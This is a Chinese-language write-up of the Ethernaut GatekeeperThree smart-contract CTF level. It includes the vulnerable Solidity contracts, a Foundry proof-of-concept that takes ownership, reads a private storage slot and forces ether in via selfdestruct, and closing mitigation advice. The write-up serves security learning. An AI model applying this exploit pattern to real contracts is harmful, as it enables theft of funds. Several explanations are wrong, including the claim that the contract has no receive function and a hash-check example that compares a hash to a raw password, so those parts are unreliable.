Ethernaut Solutions-GateKeeperThree 合约分析以及相应PoC
on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
平台网址:https://ethernaut.zeppelin.solutions/
ctf 网址:https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882
攻击类型:访问权限控制
目标:进入合约,将 entrant 更改成 deployer
要求:满足三个 modifier 条件
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive () external payable {}
}
这个与 GateKeeperOne, GateKeeperTwo 类似, 这个 ctf 稍微难一些,让我们一块看一下。
gateOne
gateOne 要求调用者不是合约地址,并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现owner
在construct0r()
进行设置,该函数是 public,任何人都能进行调用。我们通过将 Attack 合约调用 GatekeeperThree.construct0r()
来将攻击合约地址设置为owner
,之后我们通过合约去调用GateKeeperOne.enter()
就能进入 gateOne。
我猜测可能是开发者一不小心将 constructor()写成了constructor()
,导致任何人都能调用。
在Solidity 0.4.22之前,可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符,但这种做法已被弃用。
在 Solidity 0.8.0 版本,如果将构造函数声明为 public,编译器将会抛出错误,构造函数始终是在合约部署时自动调用的,而不是在合约生命周期内由外部调用的。
gateTwo
gateTwo要求 allowEntrance 为 true。
在这个合约中,allowEntrance 设置为 true 需要通过调用 GateKeeperOne.getAllowance
函数, GateKeeperOne 合约再通过调用trick.checkPassword(_password)
,由 trick 合约的 checkPassword 函数需要判断传入的_password 是否与合约存储的私有变量 password 相同。
如何去获取 password 呢,trick 合约里 password 是私有变量,无法直接读取,这真的是private吗?
solidity的 storage 存储方式有以下特点:
1. 存储在 storage 中的数据是永久性存储的,以键值对的形式存储在插槽(slot)中。
2. 数据在插槽中从右向左排列。当当前插槽空间不足时,会打包当前插槽,并开启下一个插槽来存储数据。对于存储定长数组(长度固定)的情况,数组中的每个元素占据一个插槽。
3. 存储变长数组(长度随元素数量而改变)时比较特殊。在遇到变长数组时,会先启用一个新的插槽(slotA)来存储数组的长度,而数组的实际数据则存储在另一个编号为 slotV 的插槽中。
我们知道链上数据都是公开可读的,不存在真正的 private,理解slot的概念和状态变量在储存中的布局,我们一旦知道合约地址和变量对应 slot,就可以读取任意变量。
foundry 提供了通过 slot 读取变量的方法vm.load(address,slot)
。
gateThree
gateThree 要求合约的余额大于 0.001 ether。
首先,了解常见转账方式有send
,transfer
,call{value:value}()
,使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数,而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数,还有什么方式还能向合约进行转 eth 呢?
selfdestruct(address payable recipient)
来销毁合约,并把合约余额转账给 recipient;这块我们选择较为简单的方式,通过selfdestruct(address payable recipient)
来销毁合约。
根据以上分析,完整的 PoC 代码如下:
contract Attack {
address public target;
constructor(address _target){
target = _target;
}
function StepOne() public {
(bool success,) = target.call(abi.encodeWithSignature("construct0r()"));
require(success, "Failed to call construct0r");
}
function stepTwo() public {
(bool success,) = target.call(abi.encodeWithSignature("enter()"));
require(success, "Failed to call enter");
}
}
contract Self {
function attack(address _victim) public{
selfdestruct(payable(_victim));
}
receive() external payable {}
}
contract GatekeeperThreeTest is BaseTest {
GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);
// GatekeeperThree gatekeeperThree = new GatekeeperThree();
function run() external {
vm.startBroadcast(deployer);
Attack attack = new Attack(contractAddress);
gatekeeperThree.createTrick();
SimpleTrick trick = gatekeeperThree.trick();
// gateOne
attack.StepOne();
// gateTwo
uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));
gatekeeperThree.getAllowance(_password);
assert(gatekeeperThree.allowEntrance() == true);
// gateThree
Self self = new Self();
address(self).call{value: 0.001001 ether}("");
self.attack(address(gatekeeperThree));
attack.stepTwo();
assert(gatekeeperThree.entrant() == deployer);
}
}
在合约中存储密码时,直接将密码存储在合约的存储变量中。这种方法存在风险,因为存储在区块链上的数据是公开可见的,可能会被攻击者获取,因此,不建议直接存储原始密码,以下是一些常见的存储密码的方法: a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理,然后将哈希值存储在合约中。这样做可以避免直接存储原始密码,提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如:
contract PasswordManager {
mapping(address => bytes32) private passwordHashes;
function setPassword(bytes32 hash) public {
passwordHashes[msg.sender] = hash;
}
function verifyPassword(bytes32 password) public view returns (bool) {
return passwordHashes[msg.sender] == password;
}
}
b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性,但也增加了复杂性。例如:
contract PasswordManager {
mapping(address => bytes) private encryptedPasswords;
function setPassword(bytes encryptedPassword) public {
encryptedPasswords[msg.sender] = encryptedPassword;
}
function verifyPassword(bytes password) public view returns (bool) {
// 解密 encryptedPasswords[msg.sender],然后与输入密码比较
}
}
避免通过 address.balance 进行权限设置,可以通过设置变量来替代,避免合约被强制转账从而影响正常业务逻辑的可能(比如被 selfdestruct 攻击)。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!